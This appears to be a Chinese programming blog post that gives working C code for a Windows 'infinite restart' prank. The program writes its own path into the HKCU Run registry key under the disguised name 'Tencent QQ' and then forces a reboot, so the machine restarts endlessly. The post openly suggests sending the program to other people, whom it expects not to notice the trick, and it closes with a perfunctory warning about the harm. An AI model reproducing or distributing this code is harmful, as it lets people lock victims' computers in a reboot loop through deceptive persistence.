C语言玩转Windows系列01

无限重启

你有你的无限火力,我有我的无限重启
首先先普及一个概念:注册表
注册表
这里我们只需要了解注册表可以帮助我们在电脑开机的时候自动运行程序,那么我们就只需要把程序放到注册表的对应路径里,路径为HKEY_CURRENT_USER下的Software\Microsoft\Windows\CurrentVersion\Run。

那么有人就会问了,我发给别人程序总不能叫他自己添加吧,菜鸟觉得难,高手发现有诈,那么有没有什么办法可以用代码去操作呢?

答案是:有

来,我们直接上代码,代码上已经标有注释。

#include<stdio.h>
#include<windows.h>
int main()
{
	HKEY hkey;//定义一个注册表键
	if (0 != RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hkey))//如果打开注册表失败
	{
		printf("打开注册表失败。\n");
		return 0;//退出程序
	}
	TCHAR szDate[260];//定义一个字符串
	GetModuleFileName(NULL, szDate, 260);//获取当前编译器编译出来的可执行程序的完整路径
	RegSetValueEx(hkey, L"腾讯QQ", 0, REG_SZ, (BYTE*)szDate, 260);//写入注册表
	system("shutdown -r");//重启命令
	return 0;
}

接下来的过程你便可以这样理解

运行程序;
写入注册表;
while(1)
{
	重启;
	打开注册表;
}

这是不是就无限重启了

严重警告,本次案例危害性巨大,请妥善使用,一切意外,后果自负!!!

好了,祝大家学习愉快,趁青春,上代码。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值